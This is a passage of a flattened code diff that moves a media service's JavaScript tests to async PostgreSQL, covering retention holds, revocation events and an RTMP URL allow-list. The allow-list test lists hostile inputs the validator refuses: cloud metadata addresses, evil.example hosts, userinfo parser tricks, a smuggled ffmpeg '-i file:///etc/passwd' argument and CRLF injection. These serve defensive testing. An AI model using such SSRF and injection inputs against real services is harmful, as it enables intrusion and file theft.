SET health_status = 'unknown' WHERE id IN (23)").run();++ await model.sync('vod', 23);++ await model.placeHold({ object_id: (await vod(23)).object_id, kind: 'admin', reason: 'x' });++ await insVod(24, 'vod-live-24-0.webm', { bytes: 0, duration: 0 });++ await require('../server/vod/health-job').start();++ require('../server/vod/health-job').stop();++ assert.ok(await vod(23) && fs.existsSync((await vod(23)).file_path), 'the junk sweep keeps a held row and its file');++ assert.strictEqual(await vod(24), undefined, 'and still removes an unheld one');++ console.log('✅ finalize and the junk sweep settle held empty recordings instead of deleting them');-- // ── A held screenshot paste ──-- const shot = db.get("SELECT * FROM pastes WHERE slug = 'shot1'");-- model.placeHold({ object_id: shot.object_id, kind: 'evidence', reason: 'x' });-- r = await call('DELETE', '/api/v1/live/pastes/shot1');-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);-- r = await call('POST', '/api/v1/live/pastes/bulk', { slugs: ['shot1'], action: 'delete' });-- assert.deepStrictEqual([r.status, r.body.done, r.body.skipped], [200, 0, 1], 'bulk delete skips it');-- assert.ok(fs.existsSync(shot.screenshot_path) && db.get("SELECT 1 AS x FROM pastes WHERE slug = 'shot1'"));-- console.log('✅ a held screenshot paste: DELETE answers 409, bulk delete skips it');++ // ── A held screenshot paste ──++ const shot = await db.get("SELECT * FROM pastes WHERE slug = 'shot1'");++ await model.placeHold({ object_id: shot.object_id, kind: 'evidence', reason: 'x' });++ r = await call('DELETE', '/api/v1/live/pastes/shot1');++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);++ r = await call('POST', '/api/v1/live/pastes/bulk', { slugs: ['shot1'], action: 'delete' });++ assert.deepStrictEqual([r.status, r.body.done, r.body.skipped], [200, 0, 1], 'bulk delete skips it');++ assert.ok(fs.existsSync(shot.screenshot_path) && await db.get("SELECT 1 AS x FROM pastes WHERE slug = 'shot1'"));++ console.log('✅ a held screenshot paste: DELETE answers 409, bulk delete skips it');-- // ── Listing and release ──-- r = await call('GET', H);-- assert.ok(r.body.holds.every(h => !h.released_at) && r.body.holds.some(h => h.id === hold.id), 'active holds, newest first');-- assert.strictEqual(r.body.holds[0].id > r.body.holds[r.body.holds.length - 1].id, true);-- r = await call('GET', `${H}?vod_id=1`);-- assert.deepStrictEqual(r.body.holds.map(h => h.id), [hold.id]);-- r = await call('POST', `${H}/${hold.id}/release`, { released_by: 'staff:alex' });-- assert.deepStrictEqual([r.status, r.body.released_by, !!r.body.released_at, r.body.note], [200, 'staff:alex', true, 'counter-notice window ends Oct 9']);-- assert.strictEqual((await call('POST', `${H}/${hold.id}/release`, {})).status, 409, 'a released hold cannot be released again');-- assert.strictEqual((await call('DELETE', `/api/v1/games/admin/storage/holds/${hold5}`, {}, { authorization: 'Bearer games-key' })).status, 404, "another app cannot release this app's hold");-- assert.strictEqual((await call('DELETE', `${H}/${hold5}`)).status, 200, 'DELETE releases too');-- assert.ok(!(await call('GET', H)).body.holds.some(h => h.id === hold.id), 'released holds leave the active list');-- assert.ok((await call('GET', `${H}?all=1`)).body.holds.some(h => h.id === hold.id && h.released_by === 'staff:alex'), 'and stay on record');-- assert.strictEqual(model.isHeld(clip(11).object_id), false, 'releasing the VOD releases its clips');-- assert.strictEqual((await call('DELETE', '/api/v1/live/clips/11')).status, 200);-- raw().prepare('DELETE FROM clips WHERE id = 12').run();-- assert.strictEqual((await call('DELETE', '/api/v1/live/vods/1')).status, 200, 'the VOD can be deleted once released');-- console.log('✅ release by the staff route: on record with released_by/at and the note; deletes work again');++ // ── Listing and release ──++ r = await call('GET', H);++ assert.ok(r.body.holds.every(h => !h.released_at) && r.body.holds.some(h => h.id === hold.id), 'active holds, newest first');++ assert.strictEqual(r.body.holds[0].id > r.body.holds[r.body.holds.length - 1].id, true);++ r = await call('GET', `${H}?vod_id=1`);++ assert.deepStrictEqual(r.body.holds.map(h => h.id), [hold.id]);++ r = await call('POST', `${H}/${hold.id}/release`, { released_by: 'staff:alex' });++ assert.deepStrictEqual([r.status, r.body.released_by, !!r.body.released_at, r.body.note], [200, 'staff:alex', true, 'counter-notice window ends Oct 9']);++ assert.strictEqual((await call('POST', `${H}/${hold.id}/release`, {})).status, 409, 'a released hold cannot be released again');++ assert.strictEqual((await call('DELETE', `/api/v1/games/admin/storage/holds/${hold5}`, {}, { authorization: 'Bearer games-key' })).status, 404, "another app cannot release this app's hold");++ assert.strictEqual((await call('DELETE', `${H}/${hold5}`)).status, 200, 'DELETE releases too');++ assert.ok(!(await call('GET', H)).body.holds.some(h => h.id === hold.id), 'released holds leave the active list');++ assert.ok((await call('GET', `${H}?all=1`)).body.holds.some(h => h.id === hold.id && h.released_by === 'staff:alex'), 'and stay on record');++ assert.strictEqual(await model.isHeld((await clip(11)).object_id), false, 'releasing the VOD releases its clips');++ assert.strictEqual((await call('DELETE', '/api/v1/live/clips/11')).status, 200);++ await raw().prepare('DELETE FROM clips WHERE id = 12').run();++ assert.strictEqual((await call('DELETE', '/api/v1/live/vods/1')).status, 200, 'the VOD can be deleted once released');++ console.log('✅ release by the staff route: on record with released_by/at and the note; deletes work again');-- // ── The v2 route takes a note too ──-- r = await call('POST', `/api/v2/live/objects/${vod(2).object_id}/holds`, { kind: 'admin', reason: 'r', note: 'n' });-- assert.deepStrictEqual([r.status, r.body.note, r.body.placed_by], [201, 'n', 'app:live']);-- console.log('✅ v2 holds: note and placed_by/placed_at on the same table');++ // ── The v2 route takes a note too ──++ r = await call('POST', `/api/v2/live/objects/${(await vod(2)).object_id}/holds`, { kind: 'admin', reason: 'r', note: 'n' });++ assert.deepStrictEqual([r.status, r.body.note, r.body.placed_by], [201, 'n', 'app:live']);++ console.log('✅ v2 holds: note and placed_by/placed_at on the same table');-- server.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('retention holds: all checks passed');-- process.exit(0);++ server.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('retention holds: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,72 +8,74 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-revoke-'));--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);--const express = require('express');--const { signDeliveryHeaders } = require('openvibe-sdk/events');--const revocations = require('../server/revocations');----const SUBJECT = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3';--const at = Date.parse('2026-09-25T12:00:00Z');--const ev = (over = {}) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', event_type: revocations.TOPIC, version: 1, source: 'network',-- payload: { subject: { type: 'user', id: SUBJECT }, valid_after: new Date(at).toISOString(), reason: 'signed_out_everywhere' }, ...over });--(async () => {-- const app = express();-- // As in server/index.js: mounted before the JSON parser (the signature is over the raw body).-- const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');-- assert.ok(src.indexOf("app.post('/internal/events'") < src.indexOf("app.use(express.json("), 'the events route comes before express.json()');-- app.post('/internal/events', ...revocations.handler());-- app.use(express.json());-- const srv = http.createServer(app);-- await new Promise((r) => srv.listen(0, '127.0.0.1', r));-- const url = `http://127.0.0.1:${srv.address().port}/internal/events`;-- const post = (event, { secret = process.env.MEDIA_INBOUND_EVENTS_SECRET, headers = {} } = {}) => {-- const body = JSON.stringify({ event, seq: 1 });-- return fetch(url, { method: 'POST', body, headers: { 'content-type': 'application/json', ...signDeliveryHeaders(body, secret), ...headers } }).then(async (r) => ({ status: r.status, body: await r.json().catch(() => ({})) }));-- };-- try {-- const old = { subject_id: SUBJECT, iat: at / 1000 - 30 };-- assert.strictEqual(revocations.isRevoked(old), false);-- assert.strictEqual((await post(ev(), { secret: 'x'.repeat(40) })).status, 401, 'forged');-- assert.strictEqual((await post(ev(), { headers: { 'x-forwarded-for': '1.2.3.4' } })).status, 404, 'never through the proxy');-- assert.strictEqual((await post(ev({ source: 'live' }))).body.outcome, 'ignored:source');-- assert.strictEqual(revocations.isRevoked(old), false);-- assert.strictEqual((await post(ev())).body.outcome, 'revoked');-- assert.strictEqual(revocations.isRevoked(old), true, 'older tokens are refused');-- assert.strictEqual(revocations.isRevoked({ subject_id: SUBJECT, iat: at / 1000 + 5 }), false, 'newer ones are fine');-- assert.strictEqual((await post(ev())).body.outcome, 'unchanged', 'a redelivery');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-revoke-'));++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);++ const express = require('express');++ const { signDeliveryHeaders } = require('openvibe-sdk/events');++ const revocations = require('../server/revocations');-- // network.subject.merged (ADR-029): the folded-in account's objects are the survivor's, once per merge.-- const db = require('../server/db/database').getDb();-- const FROM = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', INTO = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';-- const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject) VALUES (?, 'live', 'live', 'file', ?)");-- obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', FROM); obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2E7', FROM); obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2F8', SUBJECT);-- const merged = (over = {}) => ev({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2G9', event_type: 'network.subject.merged', payload: { merge_id: 'mrg_01J8Z3Q4R5S6T7V8W9X0Y1Z2H0', from: FROM, into: INTO, merged_at: '2026-09-27T21:00:00.000Z', initiated_by: 'person' }, ...over });-- assert.strictEqual((await post(merged({ source: 'live' }))).body.outcome, 'ignored:source');-- assert.strictEqual((await post(merged())).body.outcome, 'merged');-- assert.deepStrictEqual(db.prepare('SELECT owner_subject AS o, COUNT(*) AS n FROM media_objects GROUP BY o ORDER BY o').all().map((r) => [r.o, r.n]), [[SUBJECT, 1], [INTO, 2]].sort());-- assert.strictEqual((await post(merged())).body.outcome, 'unchanged', 'a redelivery moves nothing');-- assert.strictEqual(db.prepare('SELECT objects FROM subject_merges').get().objects, 2);-- const src = fs.readFileSync(path.join(__dirname, '../server/user-auth.js'), 'utf8');-- assert.ok(/require\('\.\/revocations'\)\.isRevoked\(claims\)/.test(src), 'the site token check consults it');++ const SUBJECT = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3';++ const at = Date.parse('2026-09-25T12:00:00Z');++ const ev = (over = {}) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', event_type: revocations.TOPIC, version: 1, source: 'network',++ payload: { subject: { type: 'user', id: SUBJECT }, valid_after: new Date(at).toISOString(), reason: 'signed_out_everywhere' }, ...over });-- // The boot subscription: created once, then found.-- process.env.EVENTS_URL = 'http://events.test'; process.env.OV_OAUTH_CLIENT_SECRET = 's'.repeat(40);-- const subs = [];-- const fake = async (u, init = {}) => {-- if (/\/oauth\/token$/.test(u)) return new Response(JSON.stringify({ access_token: 't', token_type: 'Bearer', expires_in: 300 }), { status: 200, headers: { 'content-type': 'application/json' } });-- if (init.method === 'POST') { subs.push(JSON.parse(init.body)); return Response.json({ id: 'sub_1' }, { status: 201 }); }-- return Response.json({ subscriptions: subs.map((s, i) => ({ id: `sub_${i}`, ...s })) });++ (async () => {++ const app = express();++ // As in server/index.js: mounted before the JSON parser (the signature is over the raw body).++ const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');++ assert.ok(src.indexOf("app.post('/internal/events'") < src.indexOf("app.use(express.json("), 'the events route comes before express.json()');++ app.post('/internal/events', ...revocations.handler());++ app.use(express.json());++ const srv = http.createServer(app);++ await new Promise((r) => srv.listen(0, '127.0.0.1', r));++ const url = `http://127.0.0.1:${srv.address().port}/internal/events`;++ const post = (event, { secret = process.env.MEDIA_INBOUND_EVENTS_SECRET, headers = {} } = {}) => {++ const body = JSON.stringify({ event, seq: 1 });++ return fetch(url, { method: 'POST', body, headers: { 'content-type': 'application/json', ...signDeliveryHeaders(body, secret), ...headers } }).then(async (r) => ({ status: r.status, body: await r.json().catch(() => ({})) }));};-- assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'created');-- assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'exists');-- assert.deepStrictEqual(subs.map((s) => s.topic_pattern), [revocations.TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'], 'one subscription per topic, created once');-- } finally {-- srv.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- }-- console.log('media revocations: all checks passed');--})().catch((e) => { console.error(e); process.exit(1); });++ try {++ const old = { subject_id: SUBJECT, iat: at / 1000 - 30 };++ assert.strictEqual(revocations.isRevoked(old), false);++ assert.strictEqual((await post(ev(), { secret: 'x'.repeat(40) })).status, 401, 'forged');++ assert.strictEqual((await post(ev(), { headers: { 'x-forwarded-for': '1.2.3.4' } })).status, 404, 'never through the proxy');++ assert.strictEqual((await post(ev({ source: 'live' }))).body.outcome, 'ignored:source');++ assert.strictEqual(revocations.isRevoked(old), false);++ assert.strictEqual((await post(ev())).body.outcome, 'revoked');++ assert.strictEqual(revocations.isRevoked(old), true, 'older tokens are refused');++ assert.strictEqual(revocations.isRevoked({ subject_id: SUBJECT, iat: at / 1000 + 5 }), false, 'newer ones are fine');++ assert.strictEqual((await post(ev())).body.outcome, 'unchanged', 'a redelivery');++++ // network.subject.merged (ADR-029): the folded-in account's objects are the survivor's, once per merge.++ const db = require('../server/db/database').getDb();++ const FROM = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', INTO = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';++ const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject) VALUES (?, 'live', 'live', 'file', ?)");++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', FROM); await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2E7', FROM); await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2F8', SUBJECT);++ const merged = (over = {}) => ev({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2G9', event_type: 'network.subject.merged', payload: { merge_id: 'mrg_01J8Z3Q4R5S6T7V8W9X0Y1Z2H0', from: FROM, into: INTO, merged_at: '2026-09-27T21:00:00.000Z', initiated_by: 'person' }, ...over });++ assert.strictEqual((await post(merged({ source: 'live' }))).body.outcome, 'ignored:source');++ assert.strictEqual((await post(merged())).body.outcome, 'merged');++ assert.deepStrictEqual((await db.prepare('SELECT owner_subject AS o, COUNT(*) AS n FROM media_objects GROUP BY o ORDER BY o').all()).map((r) => [r.o, r.n]), [[SUBJECT, 1], [INTO, 2]].sort());++ assert.strictEqual((await post(merged())).body.outcome, 'unchanged', 'a redelivery moves nothing');++ assert.strictEqual((await db.prepare('SELECT objects FROM subject_merges').get()).objects, 2);++ const src = fs.readFileSync(path.join(__dirname, '../server/user-auth.js'), 'utf8');++ assert.ok(/require\('\.\/revocations'\)\.isRevoked\(claims\)/.test(src), 'the site token check consults it');++++ // The boot subscription: created once, then found.++ process.env.EVENTS_URL = 'http://events.test'; process.env.OV_OAUTH_CLIENT_SECRET = 's'.repeat(40);++ const subs = [];++ const fake = async (u, init = {}) => {++ if (/\/oauth\/token$/.test(u)) return new Response(JSON.stringify({ access_token: 't', token_type: 'Bearer', expires_in: 300 }), { status: 200, headers: { 'content-type': 'application/json' } });++ if (init.method === 'POST') { subs.push(JSON.parse(init.body)); return Response.json({ id: 'sub_1' }, { status: 201 }); }++ return Response.json({ subscriptions: subs.map((s, i) => ({ id: `sub_${i}`, ...s })) });++ };++ assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'created');++ assert.strictEqual(await revocations.ensureSubscription({ fetchImpl: fake, log: { log() {} } }), 'exists');++ assert.deepStrictEqual(subs.map((s) => s.topic_pattern), [revocations.TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'], 'one subscription per topic, created once');++ } finally {++ srv.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ }++ console.log('media revocations: all checks passed');++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,80 +10,82 @@ const path = require('path');const http = require('http');const express = require('express');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-rtmp-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),--});--delete process.env.MEDIA_RTMP_PULL_ALLOW;++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-rtmp-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ });++ delete process.env.MEDIA_RTMP_PULL_ALLOW;--const config = require('../server/config');--const recorder = require('../server/vod/recorder');--const { checkRtmpUrl } = recorder;++ const config = require('../server/config');++ const recorder = require('../server/vod/recorder');++ const { checkRtmpUrl } = recorder;--assert.deepStrictEqual(config.rtmpPull.allow, ['127.0.0.1:1935', 'localhost:1935', '[::1]:1935'], 'default: Live\'s RTMP server on this host');++ assert.deepStrictEqual(config.rtmpPull.allow, ['127.0.0.1:1935', 'localhost:1935', '[::1]:1935'], 'default: Live\'s RTMP server on this host');--// ── 1. The allow-list and the URL shape ──--for (const ok of ['rtmp://127.0.0.1:1935/live/abc123', 'rtmp://localhost:1935/live/Key_9-x', 'rtmp://127.0.0.1/live/k', 'rtmp://[::1]:1935/live/k',-- 'RTMP://127.0.0.1:1935/live/k', 'rtmp://127.0.0.1:1935/live/k?token=a%2Fb&x=1']) {-- assert.ok(checkRtmpUrl(ok).ok, `allowed: ${ok}`);--}--assert.deepStrictEqual([checkRtmpUrl('rtmp://127.0.0.1/live/k').host, checkRtmpUrl('rtmp://127.0.0.1/live/k').port], ['127.0.0.1', 1935], 'no port = 1935');--assert.strictEqual(checkRtmpUrl('RTMP://127.0.0.1:1935/live/K').url, 'rtmp://127.0.0.1:1935/live/K', 'ffmpeg gets a lower-case scheme');--const refused = [-- 'rtmp://10.0.0.5:1935/live/k', // another host on the network-- 'rtmp://169.254.169.254:80/latest/meta-data', // cloud metadata-- 'rtmp://127.0.0.1:22/x', // a local port that is not the RTMP server-- 'rtmp://127.0.0.1:4100/x', // Media itself-- 'rtmp://evil.example/live',-- 'rtmp://user:[email protected]:1935/x', // user info-- 'rtmp://127.0.0.1:[email protected]/x', // parser differential-- 'rtmp://127.0.0.1:1935\\@evil.example/x',-- 'rtmp://127.0.0.1:1935/live/k -i file:///etc/passwd',-- 'rtmp://127.0.0.1:1935/x\r\nfoo',-- 'rtmp://0x7f.0.0.1:1935/x', // alternative spellings of loopback are not on the list-- 'rtmp://127.1:1935/x',-- 'rtmps://127.0.0.1/x', // 443 is not the RTMP server-- 'rtmpt://127.0.0.1:1935/x', 'http://127.0.0.1:1935/', 'file:///etc/passwd', 'concat:rtmp://127.0.0.1:1935/x', '', null, 42,-- `rtmp://127.0.0.1:1935/${'a'.repeat(3000)}`,--];--for (const bad of refused) assert.strictEqual(checkRtmpUrl(bad).ok, false, `refused: ${JSON.stringify(bad)}`);--assert.ok(/not an allowed RTMP ingest/.test(checkRtmpUrl('rtmp://10.0.0.5:1935/live/k').error));--assert.ok(checkRtmpUrl('rtmp://ingest.openre.stream:1936/live/k', ['ingest.openre.stream:1936']).ok, 'the list is configuration (OpenRe on 1936, say)');--console.log('✅ only allow-listed host:port pairs with a plain URL shape pass');++ // ── 1. The allow-list and the URL shape ──++ for (const ok of ['rtmp://127.0.0.1:1935/live/abc123', 'rtmp://localhost:1935/live/Key_9-x', 'rtmp://127.0.0.1/live/k', 'rtmp://[::1]:1935/live/k',++ 'RTMP://127.0.0.1:1935/live/k', 'rtmp://127.0.0.1:1935/live/k?token=a%2Fb&x=1']) {++ assert.ok(checkRtmpUrl(ok).ok, `allowed: ${ok}`);++ }++ assert.deepStrictEqual([checkRtmpUrl('rtmp://127.0.0.1/live/k').host, checkRtmpUrl('rtmp://127.0.0.1/live/k').port], ['127.0.0.1', 1935], 'no port = 1935');++ assert.strictEqual(checkRtmpUrl('RTMP://127.0.0.1:1935/live/K').url, 'rtmp://127.0.0.1:1935/live/K', 'ffmpeg gets a lower-case scheme');++ const refused = [++ 'rtmp://10.0.0.5:1935/live/k', // another host on the network++ 'rtmp://169.254.169.254:80/latest/meta-data', // cloud metadata++ 'rtmp://127.0.0.1:22/x', // a local port that is not the RTMP server++ 'rtmp://127.0.0.1:4100/x', // Media itself++ 'rtmp://evil.example/live',++ 'rtmp://user:[email protected]:1935/x', // user info++ 'rtmp://127.0.0.1:[email protected]/x', // parser differential++ 'rtmp://127.0.0.1:1935\\@evil.example/x',++ 'rtmp://127.0.0.1:1935/live/k -i file:///etc/passwd',++ 'rtmp://127.0.0.1:1935/x\r\nfoo',++ 'rtmp://0x7f.0.0.1:1935/x', // alternative spellings of loopback are not on the list++ 'rtmp://127.1:1935/x',++ 'rtmps://127.0.0.1/x', // 443 is not the RTMP server++ 'rtmpt://127.0.0.1:1935/x', 'http://127.0.0.1:1935/', 'file:///etc/passwd', 'concat:rtmp://127.0.0.1:1935/x', '', null, 42,++ `rtmp://127.0.0.1:1935/${'a'.repeat(3000)}`,++ ];++ for (const bad of refused) assert.strictEqual(checkRtmpUrl(bad).ok, false, `refused: ${JSON.stringify(bad)}`);++ assert.ok(/not an allowed RTMP ingest/.test(checkRtmpUrl('rtmp://10.0.0.5:1935/live/k').error));++ assert.ok(checkRtmpUrl('rtmp://ingest.openre.stream:1936/live/k', ['ingest.openre.stream:1936']).ok, 'the list is configuration (OpenRe on 1936, say)');++ console.log('✅ only allow-listed host:port pairs with a plain URL shape pass');--(async () => {-- // ── 2. The recorder and the route refuse before anything starts ──-- const db = require('../server/db/database');-- db.upsertApp({ app_id: 'live', api_key: 'live-key-rtmp-test' });-- const vodId = Number(db.createVod({ app_id: 'live', title: 'x' }).lastInsertRowid);-- const r = recorder.startRtmp(db.getVodById(vodId), 'rtmp://10.0.0.5:1935/live/k');-- assert.deepStrictEqual([r.ok, r.status], [false, 400]);-- assert.strictEqual(recorder.activeCount(), 0, 'no ffmpeg was started');-- assert.strictEqual(db.getVodById(vodId).is_recording, 0);++ (async () => {++ // ── 2. The recorder and the route refuse before anything starts ──++ const db = require('../server/db/database');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-rtmp-test' });++ const vodId = Number((await db.createVod({ app_id: 'live', title: 'x' })).lastInsertRowid);++ const r = recorder.startRtmp(await db.getVodById(vodId), 'rtmp://10.0.0.5:1935/live/k');++ assert.deepStrictEqual([r.ok, r.status], [false, 400]);++ assert.strictEqual(recorder.activeCount(), 0, 'no ffmpeg was started');++ assert.strictEqual((await db.getVodById(vodId)).is_recording, 0);-- const app = express();-- app.use(express.json());-- app.use('/api/v1/:app/vods', require('../server/vod/routes'));-- const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });-- const post = (p, body) => new Promise((resolve, reject) => {-- const data = JSON.stringify(body);-- const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',-- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data), Authorization: 'Bearer live-key-rtmp-test' } },-- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });-- req.on('error', reject);-- req.end(data);-- });-- for (const url of ['rtmp://169.254.169.254:80/x', 'rtmp://127.0.0.1:[email protected]/x', 'file:///etc/passwd']) {-- const res = await post(`/api/v1/live/vods/${vodId}/ingest/rtmp`, { rtmp_url: url });-- assert.strictEqual(res.status, 400, `${url} → ${res.status}`);-- }-- assert.strictEqual(recorder.activeCount(), 0);-- server.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('✅ POST …/ingest/rtmp answers 400 for a URL off the list, and starts no ffmpeg');-- console.log('\n✅ All RTMP allow-list tests passed');-- process.exit(0);++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });++ const post = (p, body) => new Promise((resolve, reject) => {++ const data = JSON.stringify(body);++ const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',++ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data), Authorization: 'Bearer live-key-rtmp-test' } },++ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });++ req.on('error', reject);++ req.end(data);++ });++ for (const url of ['rtmp://169.254.169.254:80/x', 'rtmp://127.0.0.1:[email protected]/x', 'file:///etc/passwd']) {++ const res = await post(`/api/v1/live/vods/${vodId}/ingest/rtmp`, { rtmp_url: url });++ assert.strictEqual(res.status, 400, `${url} → ${res.status}`);++ }++ assert.strictEqual(recorder.activeCount(), 0);++ server.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('✅ POST …/ingest/rtmp answers 400 for a URL off the list, and starts no ffmpeg');++ console.log('\n✅ All RTMP allow-list tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -7,9 +7,13 @@* npm test -- objects jobs # only files whose name contains one of the words* npm test -- --strict # a skipped test fails the run too*-- * The tests use temp SQLite databases and local servers on random ports. A few need ffmpeg (clip cuts,++ * Each test gets a migrated PostgreSQL database of its own (PGlite; the containers under npm run test:pg) and local++ * servers on random ports. A few need ffmpeg (clip cuts,* previews, remux, duration measurement) or a non-loopback interface; without them they print* `<label>: skipped (<why>)`, and that file is listed with ○ and not counted as passed.*/'use strict';--require('openvibe-shared/test-runner').main({ dir: __dirname, timeoutMs: 300000, pad: 40, parallel: 1, hide: /^\[DB\] / });++const { pathToFileURL } = require('url');++// Every test process starts with a migrated database of its own (test/helpers/pg-preload.mjs; ADR-035).++const preload = pathToFileURL(require('path').join(__dirname, 'helpers', 'pg-preload.mjs')).href;++require('openvibe-shared/test-runner').main({ dir: __dirname, timeoutMs: 300000, pad: 40, parallel: 1, hide: /^\[DB\] /, nodeArgs: ['--import', preload] });@@@ -19,268 +19,270 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-idor-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), ASSETS_PATH: dir('assets'),-- OV_NETWORK_URL: 'https://openvibe.network', MEDIA_PUBLIC_URL: 'https://media.test', MEDIA_SIGNING_SECRET: 'test-signing-secret',-- MEDIA_UPLOAD_MIN_FREE_MB: '0', MEDIA_MULTIPART_MIN_PART_MB: '1', MEDIA_JOBS_ENABLED: '0',--});--for (const k of ['EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT', 'PASTES_MOVED_TO']) process.env[k] = '';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-idor-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), ASSETS_PATH: dir('assets'),++ OV_NETWORK_URL: 'https://openvibe.network', MEDIA_PUBLIC_URL: 'https://media.test', MEDIA_SIGNING_SECRET: 'test-signing-secret',++ MEDIA_UPLOAD_MIN_FREE_MB: '0', MEDIA_MULTIPART_MIN_PART_MB: '1', MEDIA_JOBS_ENABLED: '0',++ });++ for (const k of ['EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT', 'PASTES_MOVED_TO']) process.env[k] = '';--const db = require('../server/db/database');--const auth = require('../server/auth');--const queue = require('../server/jobs/queue');--const objectRoutes = require('../server/objects/routes');--const { serviceAuth, ids } = require('openvibe-contracts');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const queue = require('../server/jobs/queue');++ const objectRoutes = require('../server/objects/routes');++ const { serviceAuth, ids } = require('openvibe-contracts');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } 